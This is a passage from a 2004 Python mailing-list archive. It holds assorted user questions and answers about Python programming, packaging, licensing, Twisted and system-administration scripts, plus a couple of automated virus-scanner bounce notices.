That's orders of magnitude less than you-know-who.  Also, don't forget
how many queries you have to take from users, and the amount of disk seeks
needed for each one.

> Nevertheless, it shouldn't cost millions.  Maybe $100K :-)

10 MB of internet connectivity is at least a few K$/month all by itself.


From benjamin at araisoft.com  Sun Feb  1 13:01:44 2004
From: benjamin at araisoft.com (Benjamin Arai)
Date: Sun, 01 Feb 2004 10:01:44 -0800
Subject: How do you get the Postgresql Python 2.3 or above?
Message-ID: <1075658504.23559.4.camel@localhost.localdomain>

There is a module that compiles for Python in PostgreSQL that compile
but it is only for Python 2.2.  How do you make it compile for 2.3?

-- 
Benjamin Arai <benjamin at araisoft.com>
Araisoft Corp.
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From lubowiecka at go2.pl  Tue Feb  3 15:04:21 2004
From: lubowiecka at go2.pl (Nazgul)
Date: Tue, 3 Feb 2004 21:04:21 +0100
Subject: self-extracting installators in Python?
Message-ID: <bvourc$d4r$1@atlantis.news.tpi.pl>

Hi!

I want to implement a small tool in Python for distributing "patches" and I
need Your advice. This application should be able to package all files
chosen by a user into a self-extracting.exe so that when you click on it, it
will extract the files and run setup.exe which among the other will copy
these files into respective folders (the absolute paths could be written in
some config file). Of course the files should be extracted first to a
temporary directory and wiped out after use (the setup will copy them into
respective folders).
I know Python offers a zipfile module to play with ZIP file formats but I am
not sure if it enables creating self-extracting archives too. And what about
"configuring" the archive to run immediately a setup file after extracting
the files? So my question is: is that possible in Python?

I will be grateful for any hints!

Thank You in advance,

Niki




From informlant at citenet.net  Sun Feb 29 15:28:21 2004
From: informlant at citenet.net (jeuxal_com)
Date: Sun, 29 Feb 2004 21:28:21 +0100
Subject: Installing a python program without full distribution - minimal
	requirements...
Message-ID: <c1u6ri$25n4$1@cti15.citenet.net>

Hi,

I need to add a python program (web updater+extras) with a window application.
The same thing as the Online Lord of the Ring game (http://lotrtcg.decipher.com/).
When you install their application, it create a subdirectory with very few python files*.dll,*.pyd,*.pyc.:

_socket.pyd
_sre.pyd
_tkinter.pyd
(laucher.pyc)
(lotrotcglaucher.exe)
python22.dll
PyWinTypes22.dll
tcl83.dll
tk83.dll
win32api.pyd
xlib.pyd
_MEI\...

Context: I want to add some python capabilities to my application, but not force the user to install the full python distro.
Questions:
    1- Are these files sufficient? (Too simple to be true!)
    2- Is their some registry/path entries do perform to setup a minimal python runtime?

Other ideas, examples of how to do it in a simple way?

Thanks
AL
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From grahamd at dscpl.com.au  Sun Feb 29 20:03:26 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: Mon, 1 Mar 2004 12:03:26 +1100
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
In-Reply-To: <404173FA.3040503@rogers.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
	<404173FA.3040503@rogers.com>
Message-ID: <3EF13084-6B1C-11D8-8ACE-000393DCF16E@dscpl.com.au>


On 29/02/2004, at 4:09 PM, Mike C. Fletcher wrote:

> Graham Dumpleton wrote:
> ...
>
>> So, how can one cast the licensing so as to provide an exception that
>> provided the underlying C/C++ library isn't changed, that the Python
>> wrappers can be used under a less restrictive license. I have control 
>> of
>> the licensing on both so can stipulate exceptions, but what is the
>> best way of doing it?
>>
>
> ...
>
> If I understand correctly, the QPL is basically a dual license 
> encouraging you to either pay Trolltech or GPL your software.

I presume you actually meant to say "QPL" and not "GPL" in this 
sentence.

Anyway, have been looking at the QPL again, and as far as I can see, it
doesn't force you to make any code you write which links with the QPL'd
library available explicitly under the QPL. What it says is:

6. You may develop application programs, reusable components and other 
software items that link with the original or modified versions of the 
Software. These items, when distributed, are subject to the following 
requirements:

  a. You must ensure that all recipients of machine-executable forms of 
these items are also able to receive and use the complete 
machine-readable source code to the items without any charge beyond the 
costs of data transfer.

  b. You must explicitly license all recipients of your items to use and 
re-distribute original and modified versions of the items in both 
machine-executable and source code forms. The recipients must be able 
to do so without any charges whatsoever, and they must be able to 
re-distribute to anyone they choose.

  c. If the items are not available to the general public, and the 
initial developer of the Software requests a copy of the items, then 
you must supply one.

Thus, as far as I can tell, it would be quite okay to make the Python
wrappers themselves available under a BSD/MIT type license as opposed
to the QPL license.

Overall though, this probably doesn't make much difference however
as anyone using the Python wrappers still in effect has to wear the
underlying conditions of the QPL licensed code. That is, the end
application still has to be made available under terms in line with
the Open Source model if distributed. The only Open Source license
you definitely wouldn't be able to use is the GPL since it regards
the QPL as incompatible.

If you agree with Open Source, that the QPL license is still used
for the C++ code in the runtime loadable component shouldn't be an
issue. We are therefore back to simply not satisfying those who don't
want to pay money for an alternative license if they want to make
money off there own application by selling it.

To meet other requirements I have, if I wanted to not restrict use
in for sale software, I almost need a LGPLish version of the QPL.
Noting that the reason I couldn't use the LGPL was because I need
the control enforced by the following clauses of the QPL.

3. You may make modifications to the Software and distribute your 
modifications, in a form that is separate from the Software, such as 
patches.

That is, need to be able to say that the original package must always
be redistributed as is, ie., in the form provided, with any changes
being in a distinct package, such as a patch. I believe this should
also prevent a free for all as far as people taking/stealing just bits
of the package and reusing it in other things, but then in practice
that is almost impossible to enforce. :-(

If one had a LGPLish variant of the QPL which doesn't transfer
conditions on linking, problem may be solved. I don't however now
of any Open Source license which does that. Does anyone else?

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From soundwave56 at yahoo.ca  Thu Feb 12 17:46:54 2004
From: soundwave56 at yahoo.ca (Hank)
Date: 12 Feb 2004 14:46:54 -0800
Subject: Executing a file remotely
References: <731fc603.0402111520.717e763c@posting.google.com>
	<slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>
	<102li7mgihijf97@corp.supernews.com>
	<slrnc2ljem.16j.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <731fc603.0402121446.2cbb2c5c@posting.google.com>

This is strictly for automated software testing on windows. Test
scripts on one machine, application under test on another machine.
This is why i need to run files remotely.

I couldn't find any specific python code that would do the job, so I
just use PsExec from www.sysinternals.com. I wouldn't consider it as a
security breach because it does require user name and password.

Thanks
Hank

Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> wrote in message news:<slrnc2ljem.16j.bignose-hates-spam at rose.localdomain.fake>...
> On Thu, 12 Feb 2004 00:29:42 -0000, Cameron Laird wrote:
> > I believe soundwave56 is focused on Windows hosts.  There, the correct
> > initial answer to, "how would I execute a file remotely?" is, through
> > a security breach.
> 
> No, the correct answer (on any operating system) is "through a
> remote-execution facility".  "Security breach" is dependent on the
> security policy in place; remote execution can be a perfectly
> permissible operation, or a serious breach of security, depending on
> the specific circumstances and what the security policy allows.
> 
> > That's a serious answer.  Operating systems are not *supposed* to
> > allow "outsiders" to execute processes.
> 
> Utter rot.  Operating systems are supposed to do what the person owning
> the hardware tells them to do.
> 
> Whether "outsiders" are allowed to execute programs on the operating
> system is entirely dependent on how you define "outsiders".  Some
> operating systems are designed to treat remote users and local users
> identically; on such systems, "outsider" is not a function of "remote or
> local", but rather "permitted or not permitted".
> 
> On other operating systems, multiple-user and networking is a bolt-on
> afterthought, and an unnecessary line is drawn between local and remote
> users.  The availability of smooth, simple remote-execution facilities
> on such operating systems will likely be poor.


From akl85_176 at hotmail.com  Sat Feb 14 20:30:49 2004
From: akl85_176 at hotmail.com (1144185)
Date: 14 Feb 2004 17:30:49 -0800
Subject: Download Python Tutorial
Message-ID: <4f77b267.0402141730.76857bb6@posting.google.com>

I use Windows Me at home and I want Python Tutorial of www.python.org
download as a text resistant but I can only download the file as HTML
resistant and I have few experiences with Internet.


From peter at engcorp.com  Thu Feb 26 13:50:03 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 13:50:03 -0500
Subject: Dumb noob q: ASCII value of a character
References: <c1ldn6$if2$1@news.freedom2surf.net>
Message-ID: <403E3FDB.12E764D8@engcorp.com>

Steve Horsley wrote:
> 
> How can I get the ASCII value of a character, e.g. I have:
> 
> str = "A B"
> for index in range(0, len(str)):
>     value = WHAT_GOES_HERE?(str[index])
>     print value
> 
> and I hope to get:
> 65
> 32
> 66
> 
> I know the characters will be printable ASCII.
> But how do I get those ASCII character values from the characters???
> I can't seem to find it in the library reference

It's a good idea to read through all the builtin functions, as
documented in http://www.python.org/doc/current/lib/built-in-funcs.html#built-in-funcs
and keep them in mind.

In this case, ord() (and it's inverse chr()) are what you want.

-Peter


From LONHUBMAIL002.BNPPARIBAS at bnpparibas.com  Thu Feb 26 21:11:29 2004
From: LONHUBMAIL002.BNPPARIBAS at bnpparibas.com (LONHUBMAIL002.BNPPARIBAS at bnpparibas.com)
Date: Fri, 27 Feb 2004 02:11:29 +0000
Subject: Report to Recipient(s)
Message-ID: <OF3AB3DEC0.0860113F-ON80256E47.000C09F7@bnpparibas.com>

Incident Information:-
Originator: python-list-bounces+vincent.bouscasse=fisystem.com at python.org
Recipients: python-list at python.org, vincent.bouscasse at bnpparibas.com
Subject:    Python-list Digest, Vol 5, Issue 354

Generic Alert: Exception was 'Corrupt File' scanning attachment '/
embedded'





This message and any attachments (the "message") is
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If you receive this message in error, please delete it and 
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From ml71 at katamail.com  Wed Feb 18 15:35:55 2004
From: ml71 at katamail.com (DrPike)
Date: 18 Feb 2004 12:35:55 -0800
Subject: Human validation with an image
Message-ID: <2ca51434.0402181235.460befe3@posting.google.com>

Hi guys,

I'm a new python user so I haven't a deep experience in.

The problem: I need to manage thousands of registration form for an
incoming congress, and I need to avoid spambots.

The idea should be to send a light image containig an alphanumeric
string, with a bit of manipulation (eg. bkground noise, distortions
and so on) in order to make a possible interpretation by humans but
programs.

I saw something of similar in the phpnuke User's Login block (Security
Code),
(http://www.phpnuke.org ).

May someone help me?

Tnx in advance,
-- DrPike --


From HBD-LNHUB at harrisbank.com  Sat Feb 21 03:36:42 2004
From: HBD-LNHUB at harrisbank.com (HBD-LNHUB at harrisbank.com)
Date: Sat, 21 Feb 2004 02:36:42 -0600
Subject: Report to Sender
Message-ID: <OF3BDC2509.0F697237-ON86256E41.002F4E67@nt.harrisbank.com>

Incident Information:-

Database:   e:/notes/data/mail2.box
Originator: python-list at python.org
Recipients: newacct at harrisbank.com
Subject:    hello
Date/Time:  02/21/2004 02:36:40 AM

The file attachment file.zip you sent to the recipients listed above was
infected with the W32/Mydoom.a at MM virus and was successfully cleaned.






From peter at engcorp.com  Wed Feb 11 17:16:37 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 17:16:37 -0500
Subject: str.find for multiple strings
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
	<c0e0u6$p8g$1@solaris.cc.vt.edu>
Message-ID: <402AA9C5.B2EB6088@engcorp.com>

Bart Nessux wrote:
> 
> Peter Hansen wrote:
> > Bart Nessux wrote:
> >
> >>x = str.find(temp, '120.50')
> >>
> >>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
> >>just one str.find... I can use re if I must, but I'd like to avoid it if
> >>possible.
> >
> > In addition to Fecundo's questions, here's another.  What does "temp"
> > contain?  A single temperature string, or a temperature embedded in
> > a bunch of other stuff, or a whole series of temperatures, or what?
> >
> > -Peter
> 
> Here's what I'm doing
> 
>     inputFile = file('ath_ips.txt', 'r')
>     data = inputFile.read()
[snip]

Well, since that shows nothing whatever about the content of the 
"data" string (i.e. what is in that ath_ips.txt file), it doesn't
really help to answer the questions I had.

-Peter


From rus20376 at salemstate.edu  Mon Feb 23 11:06:29 2004
From: rus20376 at salemstate.edu (omission9)
Date: 23 Feb 2004 08:06:29 -0800
Subject: python 2.3.2 hangs when returning an int
Message-ID: <defa238f.0402230806.69f365a0@posting.google.com>

Any advice on the following would be much appreciated. I have thrown 
everything I have at it and am completely stumped. I apologize for the 
length, I have tried to be as succint as possible.

I have a pythoncard/wxPython application. The application works well 
except that users were reporting occasional crashes. The application 
would simply stop and just hang. I was able to reproduce the bug 
faithfully and ran the application in the python debugger pdb.py.
The trace is below and I simply cannot understand why it is hanging 
where it is. The application gets stuck executing

return len(self.data[0])

which is in this function

    def GetNumberCols(self):
        if len(self.data) <= 0:
            return 0
        else:    
            return len(self.data[0])

This works many many times during the applications execution, indeed 
several successful runs of this line are visible immediatley above the 
hang. I have also printed out the value of self.data. This is a list 
containing 12 inner lists each of length 3 at the point of the hang and 
is never larger than that.
What on earth could cause this to stop the interpreter cold in its 
tracks without an exception being thrown? CPU usage on the machine is 
high throughout the application's execution and stays as such after the 
"hang" begins. I eventually kill the app although I have let it run for 
a long time and it never leaves this line.
For what its worth, I am using python 2.3.2 on windows2k.

Anyone have idea what could be happening?

  c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
  -> return val
  (Pdb) s
  --Return--
   c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
  -> self._setOORInfo(self)
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init

  __()
  -> self.data = data
  (Pdb) s

 
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init

  __()
  -> self.colLabels = headings
  (Pdb) s


From tkpmep at hotmail.com  Sun Feb 15 22:23:44 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 15 Feb 2004 19:23:44 -0800
Subject: Stopping a program
References: <b4a8ffb6.0402151600.70e2c173@posting.google.com>
Message-ID: <b4a8ffb6.0402151923.7864d228@posting.google.com>

A follow up to the question posed above: I discovered sys.exit() and
played around it. I find that it exhibits different behaviors
depending on whether the program is run from IDLE or fron the command
line. In idle, calling sys.exit() gives me a barrage of output that
starts with
Traceback (most recent call lat):
and ends with
SystemExit: 0

after which I get back to the prompt. However, if the program is run
from the command line, the window with the command prompt simply
disappears (most likely after the same barrage flashes across it to
fast for the eye to follow).

Is there a variant of sys.exit() that will exit the program gracefully
to the command prompt in IDLE without bombarding me with information
that I know to be irrelevant?

 Thomas Philips


From tjreedy at udel.edu  Tue Feb 10 10:12:13 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Feb 2004 10:12:13 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu><mailman.1402.1076396710.12720.python-list@python.org>
	<c0an8o$g7i$1@solaris.cc.vt.edu>
Message-ID: <c0ascg$57d$1@sea.gmane.org>


"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c0an8o$g7i$1 at solaris.cc.vt.edu...
> Paul Prescod wrote:
> > If I were you I would post one of these scripts and see if the function
> > and OO fans can make it easier to read or maintain by using structured
> > programming.
>
> OK, here is a script that works w/o OO or functions. It's very useful...
> never fails. It helps sys admins track machines that have mobile users
> who are using DHCP.
>
> #!/usr/bin/python
> #
> # Tested on Linux Machines
> # Run as cron as root
> # May work on OS X too
> #
> # Dec 29, 2003 works on Mac OSX 10.3 like this:
> # chown 'root' && chgrp 'wheel' && chmod '755'
> # place in /usr/bin
> #
>
> from email.MIMEText import MIMEText
> import smtplib
> import os
>
> u = "User" #Change This to user's name.
> f = "admin at XXX.edu"
> t = "admin at XXX.edu"
>
> fp0 = os.popen("/sbin/ifconfig en0 inet", "r")
> fp1 = os.popen("/usr/bin/uptime", "r")
> fp2 = os.popen("/usr/bin/uname -a", "r")
> fp3 = os.popen("/usr/bin/wc -l /etc/passwd", "r")
> msg = MIMEText("-- IFCONFIG --\n\n" + fp0.read() + "\n-- UPTIME --\n\n"
> +  fp1.read() + "\n-- UNAME --\n\n" + fp2.read() + "\n-- PASSWD LC
> --\n\n" + fp3.read())
> fp0.close()
> fp1.close()
> fp2.close()
> fp3.close()
>
> msg["Subject"] = "%s's ifconfig Report" % u
> msg["From"] = f
> msg["To"] = t
>
> h = "smtp.vt.edu"
> s = smtplib.SMTP(h)
> s.sendmail(f, t, msg.as_string())
> s.quit()

Your whole script is a coherent no-argument function:  create and mail a
status message.  C requires you to wrap such within the file as a
syntactically explicit 'main' function.  Python, being against busywork for
the sake of busywork, does not.

The *possible* advantage of doing something like this:

def sendreport():
  <your current code

if __name__ == '__main__':
  sendreport()

is that you could then import the module and use sendreport from another
script.  You might then parameterize it to make some of the constants like
u (user) variable.  You could then do things like

for u in userlist: sendreport(u)

But the value of adding the wrapper and boilerplate and attendant
flexibility depends on your situation.  It also rests on getting the basic
functionality correct.

[OO fans might suggest defining a stat_rep class with a send method, but I
only see that a having much value if you want the learning experience or if
you need to keep unsent messages around.]

As for the code itself.  I would probably use more mnemonic names like
f_inet, f_time, f_name, and f_user, but this is a minor stylistic nit.  I
might also read and maybe close each pipe as created, but maybe you want
the processes to run as close to simultaneous as possible.

Terry J. Reedy






From usenet at xmlhack.ru  Sun Feb  8 14:44:12 2004
From: usenet at xmlhack.ru (Oleg A. Paraschenko)
Date: 8 Feb 2004 11:44:12 -0800
Subject: building C modules in windows + Python 2.3 + cygwin
References: <402279C9.90BC8B8C@unipi.gr>
Message-ID: <21a5b403.0402081144.33511f5@posting.google.com>

Hi!

Andreou Giannis <gandreou at unipi.gr> wrote in message news:<402279C9.90BC8B8C at unipi.gr>...
> Allthough it is possible to build modules in Python2.3.3 and distutils
> with cygwin,
...
> I do not want to install VS ver.6.
...

Look here:
http://sebsauvage.net/python/mingw.html
Writing C/C++ Python extensions without Microsoft Visual C++

--
Oleg


From mahongquan at sina.com  Tue Feb  3 02:44:02 2004
From: mahongquan at sina.com (mahongquan)
Date: 2 Feb 2004 23:44:02 -0800
Subject: test use google
Message-ID: <79a7de97.0402022344.3cc6629@posting.google.com>

test


From paul at prescod.net  Tue Feb 10 01:53:40 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 22:53:40 -0800
Subject: approach to writing functions
In-Reply-To: <c09f8c$l2f$1@solaris.cc.vt.edu>
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
Message-ID: <40287FF4.4070805@prescod.net>

Bart Nessux wrote:

> I understand that most people write functions to reuse code, no? So, I
> assume it would be better to write functions that are very specific, as
> opposed to those that are more generic. 
> 
> However, I have difficulty doing this. My code doesn't need to be
> super-modular (I don't need functions that can be used in dozens of
> different programs). So, my functions don't tend to be portbale and can
> sometimes span one, or perhaps two pages.

It's sort of a self-fulfilling prophecy. If you don't try to write 
reusable functions your code won't be reusable.

But, to be fair to you, it is harder to find code to reuse in Python 
than in lower-level languages because so much comes out of the box.

Even so, I very rarely write a program that does not reuse code in one 
way or another. Do you find that there are chunks of text that are 
almost identical sprinkled throughout your program?

> Say I have a program that contains no functions. Say that it is all global
> and it's written like a shell script. Say that it does what I intend it to
> do exactly. More experienced programmers fuss that I have not used
> functions to write it. They complain about global variables, etc. But, when
> I use functions and enclose everything in a one big function, I am in
> essence doing exactly what I was doing globally.

If the logic is simple, what you are doing is not necessarily bad style. 
But if the logic is complicated then eschewing functions can make it 
more, not less, complicated. For one thing you get so many indentation 
levels that it becomes hard to keep it in your head. For another thing, 
when you try to read your code six months from now it will not be in 
bite-sized bits you can keep in your head but rather in one long stream. 
  Imagine a university textbook without chapters. It is somewhat harder 
to navigate the one long stream. By convention, programmers use 
functions as "chapters."

> What do you guys think?

If I were you I would post one of these scripts and see if the function 
and OO fans can make it easier to read or maintain by using structured 
programming.

  Paul Prescod





From ruud.de.jong at consunet.nl  Sun Feb 29 16:46:17 2004
From: ruud.de.jong at consunet.nl (Ruud de Jong)
Date: Sun, 29 Feb 2004 22:46:17 +0100
Subject: How to use __getattribute__ to access a class attribute?
Message-ID: <40425d1b$0$41761$5fc3050@dreader2.news.tiscali.nl>

I have the situation where I need to construct the name
of a static method, and then retrieve the corresponding
function from a class object.

I thought I could just use __getattribute__ for this purpose.
This works fine if I already have an instantiation of the class,
but not when I try this on the class object directly.

A bare bones example:

 >>> class C(object):
	def a():
		print "static method a"
	a = staticmethod(a)

It works for a instantiation of class C:
	
 >>> x = C()
 >>> x.a
<function a at 0x00A981B0>
 >>> x.__getattribute__('a')
<function a at 0x00A981B0>
 >>> x.__getattribute__('a')()
static method a

But for the class object it works differently:

 >>> C.a
<function a at 0x00A981B0>
 >>> C.__getattribute__(C,'a')
<staticmethod object at 0x00AC6A10>
 >>> C.a()
static method a
 >>> C.__getattribute__(C,'a')()

Traceback (most recent call last):
   File "<pyshell#219>", line 1, in -toplevel-
     C.__getattribute__(C,'a')()
TypeError: 'staticmethod' object is not callable

After some experimentation and documentation searching,
I found that to get at the actual function, the __get__
method for the staticmethod descriptor must be called:

 >>> C.__getattribute__(C,'a').__get__(None, C)
<function a at 0x00A981B0>
 >>> C.__getattribute__(C,'a').__get__(None, C)()
static method a

If I use an class instance as the first argument
it works OK. But I ran into this problem when I tried
to use __getattribute__ in the __new__ function of a class
-- there is no class instance yet at that point,
and calling C() there leads to infinite recursion.

Another variant that worked is to call __getattribute__
on the metaclass:

 >>> type(C).__getattribute__(C,'a')
<function a at 0x00A981B0>
 >>> type(C).__getattribute__(C,'a')()
static method a

But according to section 3.3.2.1 of the Language Reference
(More attribute access for new-style classes),
__getattribute__ "... should return the (computed) attribute value". 
This could be interpreted to say that __getattribute__ should
return the function, not the staticmethod object.

Is there a reason for this difference in behavior?



From donn at u.washington.edu  Mon Feb  2 16:43:30 2004
From: donn at u.washington.edu (Donn Cave)
Date: Mon, 02 Feb 2004 13:43:30 -0800
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <donn-59CB8D.13433002022004@nntp4.u.washington.edu>

In article <401eb54c$0$315$e4fe514c at news.xs4all.nl>,
 Bastiaan Welmers <haasje at welmers.net> wrote:
...
> I need find messages in huge mbox files (50MB or more).
...
> Especially because I often need messages at the end
> of the MBOX file.
> So I tried the following (scanning messages backwards
> on found "From " lines with readline())

readline() is not your friend here.  I suggest that
you read large blocks of data, like 8192 bytes for
example, and search them iteratively.  Like,
next = block.find('\nFrom ', prev + 1)

This will give you the location of each message in
the current block, so you can split the block up
into a list of messages.  (There will be an extra
chunk of data at the beginning of each block, before
the first "From " - recycle that onto the end of the
next block.)

Since file object buffering is at best useless in this
application, I would use posix.open, posix.lseek and
posix.read.  Taking this approach, I find that reading
the last 10 messages in a 100 Mb folder takes 0.05 sec.

   Donn Cave, donn at u.washington.edu


From __peter__ at web.de  Wed Feb 25 16:07:04 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Feb 2004 22:07:04 +0100
Subject: os.walk walks too much
References: <mailman.96.1077712778.8594.python-list@python.org>
	<c1i8a1$gnj$01$1@news.t-online.com>
	<mailman.131.1077737502.8594.python-list@python.org>
Message-ID: <c1j2pp$9r0$06$1@news.t-online.com>

Marcello Pietrobon wrote:

> What is the difference between
> 
>  for dirname in dirs:
>     dirs.remove( dirname )
> 
> and
> 
>  for dirname in dirs[:]:
>     dirs.remove( dirname )

dirs[:] makes a slice containing all elements, i. e. a shallow copy of the
complete list, so the loop is not affected by changes to the original:

>>> dirs = ["alpha", "beta", "gamma"]
>>> dirs == dirs[:] # equal
True
>>> dirs is dirs[:] # but not the same list
False

> def walk_files(root, recursive=False):
>     for path, dirs, files in os.walk(root):
>         for fn in files:
>             yield os.path.join(path, fn)
>             if not recursive:
>                 break
> 
> seems not correct to me:
> 
> because I tend to assimilate yield to a very special return statement
> so I think the following is correct
> 
> def walk_files(root, recursive=False):
>     for path, dirs, files in os.walk(root):
>         for fn in files:
>             yield os.path.join(path, fn)
>         if not recursive:
>             break
> 
> 
> is that right ?

Oops, of course you're right.

Peter



From kosh at aesaeion.com  Sat Feb 28 13:15:21 2004
From: kosh at aesaeion.com (kosh)
Date: Sat, 28 Feb 2004 11:15:21 -0700
Subject: Please hear my plea: print without softspace
In-Reply-To: <n7b14x2tkodk$.1u7yu1oy7sx7r$.dlg@40tude.net>
References: <4041796c.2181078@news.muenster.de>
	<mailman.245.1077986929.8594.python-list@python.org>
	<n7b14x2tkodk$.1u7yu1oy7sx7r$.dlg@40tude.net>
Message-ID: <200402281115.21123.kosh@aesaeion.com>

On Saturday 28 February 2004 10:26 am, Valentino Volonghi aka Dialtone wrote:
> In data Sat, 28 Feb 2004 09:44:57 -0700, kosh ha scritto:
> > why not?
> >
> > def pprint(*args):
> >     print ''.join(args)
> >
> > if you want it to be more robust you could do
> >
> > def pprint(*args):
> >     print ''.join(map(str,args))
> >
> > That would try and convert all the items to a string first before joining
> > them.
>
> I would have used the list comprehension solution that Mel Wilson posted
> but I was in a hurry and wrote wrong code...
>
> Actually I don't like map() and I always try to use LC as much as
> possible, I think they are a lot more readable.

I use map, reduce, filter etc pretty rarely but I think in this case it is a 
very simple way to say what I mean there. I just want str called on every 
element in args and have a list returned with that result. 

I use list comps a lot in other places but things like map do have their 
place.



From loic at yermat.net1.nerim.net  Fri Feb 20 12:30:42 2004
From: loic at yermat.net1.nerim.net (Yermat)
Date: Fri, 20 Feb 2004 18:30:42 +0100
Subject: Parsing library for Python?
In-Reply-To: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <c15g7a$j7q$1@biggoron.nerim.net>

Viktor Rosenfeld a ?crit :
> Hi, 
> 
> I need to create a parser for a Python project, and I'd like to use process
> kinda like lex/yacc.  I've looked at various parsing packages online, but
> didn't find anything useful for me:
> 
> - PyLR seems promising but is for Python 1.5
> - Yappy seems promising, but I couldn't get it to work.  It doesn't even
> compile the main example in it's documentation
> - mxTexttools is way complicated.  I'd like something that I can give a BNF
> grammar to handle.
> 
> Is there a good parsing module for python that I missed?
> 
> TIA,
> Viktor

YAPPS : http://theory.stanford.edu/~amitp/Yapps/

and all those cite on http://www.python.org/sigs/parser-sig/



From qp at al.net  Sun Feb 29 14:06:07 2004
From: qp at al.net (Qp)
Date: Sun, 29 Feb 2004 14:06:07 -0500
Subject: Twisted: How to sendLine from outside the LineReceiver class?
Message-ID: <wKq0c.6979$ED1.4783@fe03.usenetserver.com>

Hello.  I'm building a simple chat server and client interface, and I've got
everything working except for this:

While the client's basic.LineReceiver protocol class can sendLine when a
connection is made (that is, when the class is called automatically),
whenever I try to call sendLine from another class (my ClientFactory class)
then I get the following error.

"in sendLine
return self.transport.write(line + self.delimiter)
AttributeError: 'NoneType' object has no attribute 'write'"

So, I assume the instance of the LineReceiver is not set up properly.  How
do I do this?

The code I am using for the classes is as follows.  The error comes when I
call chatFactory.sendMessage():

>>>
class chatClient(basic.LineReceiver):

    def connectionMade(self):
        self.sendLine("A new person has entered the room!")

    def lineReceived(self, line):
        app.text_output.config(state=NORMAL) #enable text_output for insert
        app.text_output.insert(END, line +"\n")
        app.text_output.config(state=DISABLED)
        app.text_input.delete(0, END) #clear text_input
        app.text_output.see(END) #move scrollbar to the bottom

    def connectionLost(self, reason):
        reactor.stop()

class chatFactory(protocol.ClientFactory):
    protocol = chatClient

    def clientConnectionFailed(self, connector, reason):
        reactor.stop()

    def clientConnectionLost(self, connector, reason):
        reactor.stop()

    def sendMessage(self):
        c = chatClient()
        c.sendLine("Hey there")
<<<





From rob02omni at vodafone.it  Wed Feb  4 08:41:02 2004
From: rob02omni at vodafone.it (Roberto)
Date: Wed, 4 Feb 2004 14:41:02 +0100
Subject: Was re:lanching application
Message-ID: <bvqskq$bon$1@grillo.cs.interbusiness.it>

Hi Bengt,
Sorry for the delay time...

Yes you are right i've missed some info about what i'm trying to do.

The application i'm trying to launch in multiple session is FileMaker Pro.
I'm pretty sure that the app when launched scan process and try to get is
proces name (fmpro3 is the name of the process) and if it find a new
instance will not open.

I've asked this because with the application FireDaemon this can be done.

Maybe running FileMaker as a subprocess of a python instance will prevent
the process name search?

Thanks for replying
-- 
Rob



I'm not sure what you mean by "natively multi-session." ISTM that's the
default. If an OS normally
launches programs in separate processes, UIAM the programs have to be
programmed specifically
to _prevent_ running simultaneously. Various tricks can be used to
accomplish that,
so if you have a program that "is not multi-session" because it is
successfully
noticing that it is not the first instance to run, and exiting (some might
communicate
parameters to the running instance before they do that), then ISTM you are
asking
how to interfere with that program logic. E.g., if it is mutex-based, can
you
prevent the second instance from seeing the mutex? What if it's based on a
lock file,
or scanning current windows for title text? If there's a DLL using a shared
memory section
to act as a mutex, maybe there's a way (OTTOMH I don't know of it, but I
wouldn't be surprised.
I haven't had to deal with that situation) to tell windows always to create
new instances of shared
sections for it, and maybe that's what you are asking, but then you'd have
to know that that's the
mechanism that makes your app "single session."

Maybe telling us what app are you trying to launch multiple instances of,
and on what windows version
would get more helpful responses? ;-)

Happy Holidays,

Regards,
Bengt Richter




From newsgroups at jhrothjr.com  Mon Feb  2 16:10:08 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 2 Feb 2004 16:10:08 -0500
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>	<mailman.1078.1075571238.12720.python-list@python.org><711c7390.0401311808.3914a94b@posting.google.com>
	<mailman.1110.1075672228.12720.python-list@python.org>
Message-ID: <101tf8qpqsg3lb3@news.supernews.com>

"Paul Prescod" <paul at prescod.net> wrote in message
news:mailman.1110.1075672228.12720.python-list at python.org...
> First, if I had invented Python I would not have bothered to buck the
> trend of using curly braces.

I suppose I am hardly anyone else, since that it exactly what
attracted me to Python. In fact, I will take partial responsibility
for the indentaion syntax in IBM's ISPF mini-language - it's a
preferance of long standing with me.

Now that I actually have a significant language using them, I
can see that there are a couple of things they make more
difficult, statement syntax embedded within expressions being
one. The other is a rather esoteric issue with clauses like
elif, else and except.

John Roth

>
>   Paul Prescod
>
>
>




From eric at zomething.com  Fri Feb 27 00:56:28 2004
From: eric at zomething.com (Eric @ Zomething)
Date: Thu, 26 Feb 2004 21:56:28 -0800
Subject: Internet-scale distributed computing?
Message-ID: <20040226215628.1055371685.eric@zomething.com>

Skip Montanaro wrote at (precisely some time which Martians cannot sync their watches to)

